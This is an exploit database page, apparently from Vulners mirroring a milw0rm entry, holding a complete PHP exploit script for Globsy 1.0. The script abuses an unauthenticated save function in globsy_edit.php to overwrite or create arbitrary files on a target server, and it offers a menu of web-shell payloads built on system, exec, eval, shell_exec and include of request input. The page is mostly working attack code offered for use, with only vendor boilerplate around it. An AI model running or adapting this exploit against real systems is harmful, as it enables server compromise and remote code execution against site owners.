Lucene search
K

Globsy <= 1.0 - Remote File Rewriting Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 19 Views

Globsy <= 1.0 Remote File Rewriting Exploit Discovered By StAkeR. Allows remote file rewriting

Code

                                                #!/usr/bin/php -q
&#60;?php

/* 
   ----------------------------------------------------------------------
   Globsy &#60;= 1.0 Remote File Rewriting Exploit
   Discovered By StAkeR aka athos - StAkeR[at]hotmail[dot]it
   Discovered On 12/10/2008
   http://switch.dl.sourceforge.net/sourceforge/globsy/globsy_1.0.tar.gz
   ----------------------------------------------------------------------
   
   globsy_edit.php
   
37. elseif($mode == &#34;save&#34;){   
38. $handle = fopen($filename, &#34;w&#34;) or die(&#34;Write: The file &#60;i&#62;&#39;&#34;.$filename.&#34;&#39;&#60;/i&#62; could not be opened.&#34;);
39. fwrite($handle, $data) or die(&#34;Write: The file &#60;i&#62;&#39;&#34;.$filename.&#34;&#39;&#60;/i&#62; could not be writen.&#34;);    
   
   $mode is $_POST[&#39;mode&#39;] and $data = $_POST[&#39;data&#39;]
   
   so you can rewrite (or create) any file 
    
*/


error_reporting(0);
ini_set(&#34;default_socket_timeout&#34;,5);

$host = str_replace(&#39;http:\/\/&#39;,null,$argv[1]);
$path = $argv[2].&#34;/globsy_edit.php?file=&#34;;
$file = $argv[3];
$exec = intval($argv[4]);

if($exec == 8)
{
  $input = stripslashes(trim(fgets(STDIN)));
}
else
{
  $input = &#34;Write your code\r\n&#34;;
}


$array = array(
               &#39;include($_GET[&#34;input&#34;]);&#39;,
               &#39;exec($_GET[&#34;input&#34;);&#39;,
               &#39;eval($_GET[&#34;input&#34;);&#39;,
               &#39;file_get_contents($_GET[&#34;input&#34;]);&#39;,
               &#39;phpinfo();&#39;,
               &#39;system($_GET[&#34;input&#34;);&#39;,
               &#39;shell_exec($_GET[&#34;input&#34;);&#39;,
               &#39;echo $_GET[&#34;input&#34;);&#39;,
                $input
              );

if($argc != 5)
{
  echo &#34;[?] Globsy &#60;= 1.0 Remote File Rewriting Exploit\r\n&#34;;
  echo &#34;[?] Usage: php $argv[0] [host] [path] [file] [option]\r\n\r\n&#34;;
  echo &#34;[?] Options: \r\n&#34;;
 
  for($i=0;$i&#60;=count($array)-1;$i++)
  {
    echo &#34;-$i $array[$i]\r\n&#34;;
  }  
    return exit;
} 

if(!$sock = fsockopen($host,80)) die(&#34;[?] Socket Error\r\n&#34;);

$path .= $file;
$post .= &#34;mode=save&data=&#60;?php {$array[$exec]} ?&#62;&#34;;
$data .= &#34;POST /$path HTTP/1.1\r\n&#34;;
$data .= &#34;Host: $host\r\n&#34;;
$data .= &#34;User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n&#34;;
$data .= &#34;Content-Type: application/x-www-form-urlencoded\r\n&#34;;
$data .= &#34;Accept-Encoding: text/plain\r\n&#34;;
$data .= &#34;Content-Length: &#34;.strlen($post).&#34;\r\n&#34;;
$data .= &#34;Connection: close\r\n\r\n&#34;;
$data .= $post;

if(!fputs($sock,$data)) die(&#34;[?] Fputs Error!\n&#34;);

while(!feof($sock)) 
{
  $content .= fgets($sock);
} fclose($sock); 

if(!strpos(&#39;File data saved OK&#39;,$content))
{
  echo &#34;[?] Exploit Successfully!\r\n&#34;;
  echo &#34;[?] $array[$exec] written in $file\r\n&#34;;
}
else
{
  echo &#34;[?] Exploit Failed!\r\n&#34;;
  exit;
}
  
  
?&#62;

# milw0rm.com [2008-10-12]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1
19